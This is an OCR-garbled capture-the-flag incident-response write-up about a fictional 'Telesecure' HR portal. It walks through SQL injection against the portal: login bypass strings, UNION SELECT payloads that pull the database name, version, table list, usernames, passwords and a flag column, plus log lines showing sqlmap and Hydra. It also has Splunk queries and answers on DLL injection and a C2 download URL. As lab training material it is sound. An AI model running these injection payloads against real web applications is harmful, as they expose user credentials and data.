New Search			Save As 🔻	Create Table View
index="win_hosts" s	ourcetype=eng_wo	kstation dll		All tin
1 event (before 5/28/	25 9:21:02.000 PM	No Event Sampling ▼	Job 🔻 💷 🤌	
Events (1) Patterns	Statistics	Visualization		
✓ Timeline format ▼	- Zoom Out	+Zoom to Selection × Deselect		1 millisec
		✓ Format ▼ Show: 20 Per Page ▼ View: Raw ▼		
< Hide Fields	i≣ All Fields	i Event		
SELECTED FIELDS		> "Application","AppSim","9999","Warning","DLL injected into proce s notepad.exe from C:\Users\Public\payload.dll","5/22/2025 4:11:51 FW"		
a host 1				
a sourcetype 1				
INTERESTING FIELDS				
a Channel 1				
# date_hour 1				
# date_mday 1 # date_minute_1				
a date_month 1				
a date_wday 1 # date_vear 1				
a date_zone 1				
a EventID 1 a index 1				
# Level 1				
# linecount 1 a punct 1				
a RuleTitle 1				
a splunk server 1				

HR

Attacker discovered an employeeHR <u>web</u> portal running internally on the subscriber_db,that enabled them dumped the entire database and exfiltrated data. As an IR analysts, invistagate the all attack flow and make a report to the database administrator

Flag 1: how did the attacker initially accessed the database through the web portal? answer format vulnerability

solution.

Based on common scenarios like the one described

(http://localhost/employee/index.php has an HR page. access it in the subscriber db srver.

Telesecure Employee Portal x + C O localhost/employee/index.php Telesecure Employee Portal Username: Password: Login

This is vulnerable to sql injection. Either by testing using ` ' or 1=1# Or by analysing

the iis logs found at C:\inetpub\logs\LogFiles\W3SVC1`
/employee/login.php username='+OR+1=1--&password=test 500 0 0 120 "Mozilla/5.0 (Hydra)
/employee/login.php username=admin'--&password= 200 0 0 5 "sqlmap/1.7.8"

Database

Attacker discovered the core Telesecure database running internally

Flag 7: what is the database name and version? asnwewer format databaseName:vesion

we can run admin' union select 1,2,3,database()# on the search input field and this will leak the db name.

Teles	elesecure Employee Portal					
Welco	me, ' or 1=1#!					
Explore e	mployee profiles and manage yo	ur team.				
Employ	ee Search					
admin' u	union select 1,2,3,database()#	Search				
Search	Results					
ID	Name	Email	Role			
4	Assistant Admin	a.admin@telesecure.com	admin			
1	2	3	employee_db			

To know the version of the db you will now run this.

`admin' union select 1,2,3,version()#
output

ANSWER:employee_db:9.2.0

Telesecure Employee Portal							
Welcome, ' or 1=1#! Explore employee profiles and manage your team. Employee Search							
Search F	Inion select 1,2,3,version()#	Search					
ID	Name	Email	Role				
4	Assistant Admin	a.admin@telesecure.com	admin				
1	2	3	9.2.0				

Identity

Flag 1:how many tables does the database have ?

to get the table we can either analyse the logs and re run the attacker payloads or use powershell like this. Get-ChildItem "C:\inetpub\logs\LogFiles\" -Recurse -Include *.log | Select-String -Pattern "union", "select", "admin"", "information_schema" | Out-File C:\IIS_Suspected_SQLi_Logs.txt ``

or run this.

Explanation:

- information_schema.tables : system table that holds all tables in all databases
- where table_schema=database() : filters only the current database.
- **count**(*) : returns the **number of tables** in that DB.

```
' union select 1,2,3,group_concat(table_name) from information_schema.tables
where table_schema=database()#
```

Welcome, ' or 1=1#! Explore employee profiles and manage your team. Employee Search 'union select 1,2,3,group_concat(table) Search				
ID	Name	Email	Role	
1	Kansiime Joel	k.joel@telesecure.com	Administrator	
2	Elolu Peter	e.peter@telesecure.com	Manager	
3	Obia Alfred	o.alfred@telesecure.com	Auditor	
4	Assistant Admin	a.admin@telesecure.com	admin	
1	2	3	employees,users	

So the tables are two.

Damped

Attacker dumped the entire databse and discoverd a super user with his id containg the flag, they also found a search functionlity in the application that led them to the sampe super user id

Flag 1:what was the flag ?

so to get the flag we need to find the field holding it.

```
payload. ' UNION SELECT 1,2,3,group_concat(id,':',username,':',role) FROM
users#
```

output:

Empl	Imployee Search				
ID	Name	Email			
1	Kansiime Joel	k.joel@telesecure.com			
2	Elolu Peter	e.peter@telesecure.com			
3	Obia Alfred	o,alfred@telesecure.com			
4	Assistant Admin	a.admin@telesecure.com			
1	2	employees:email,employees <mark>:flag,er</mark> nployees:id,employees:name,employees:notes,employees:role,users:id,users:password,users:u:			

running this payload will get us the flag.

' UNION SELECT 1,2,3,GROUP_CONCAT(flag) FROM employees-- -

Breakdown:

- Closes the original query's string input, allowing injection of a new SQL statement.
- UNION SELECT Combines the results of your injected query with the original query results. The original query probably expects 4 columns (since you select 4 values here).
- 1, 2, 3 These are dummy values for the first three columns just to satisfy the expected column count and data types.
- **GROUP_CONCAT(flag)** This is the key part: it concatenates all values in the **flag** column from the **employees** table into a single string, separated by commas by default. This pulls **all flags** stored in the database into the query result.
- FROM employees Specifies the table to pull the flag column data from.
- -- — This comments out the rest of the original query to prevent syntax errors.

Welcome, ' or 1=1#!							
Explore	Explore employee profiles and manage your team.						
Employee Search IP_CONCAT(flag) FROM employees Search Search Results Search							
ID	Name	Email	Role				
1	Kansiime Joel	k.joel@telesecure.com	Administrator				
2	Elolu Peter	e.peter@telesecure.com	Manager				
3	Obia Alfred	o.alfred@telesecure.com	Auditor				
4	Assistant Admin	a.admin@telesecure.com	admin				
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This is a **SQL Injection payload using UNION SELECT** to extract data from the database by tricking the backend into running your injected query and appending the result to the original query's result set.

The above can also be traced from the iis logs.

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Impersonate

Q7. The attacker tried to log into the engineer workstation computer using SMB from mutile public ip addresses but failed

Flag 7: Which users was attacker trying to login through?

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a RuleID 1	5/22/2025 4:12:51 PM	1	5.556%
a RuleTitle 7	5/22/2025 4:13:51 PM	1	5.556%
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results of the login failures.

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answer is adminuser

CLI

Which process initiated the execution of PowerShell on engineer work station?

answer. explorer.exe

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injection

Your SIEM alerts you that a suspicious DLL was injected into a legitimate Windows process on a user's workstation.

After reviewing process memory and analyzing the injection, you can confirm that a DLL was loaded into the target process by a remote thread.

qn: Which process was the malicious DLL injected into and what i sthe name of the malicious dll?

Answer-format: prosessname:dllname

query



C2 server

A PowerShell script (Event ID 4104) downloads content from a suspicious domain to the engineer work station. 📌 Flag 1: what was the full suspicious url from which the

suspicious malware file was downloaded from?

answer: http://suspicious.com/filename

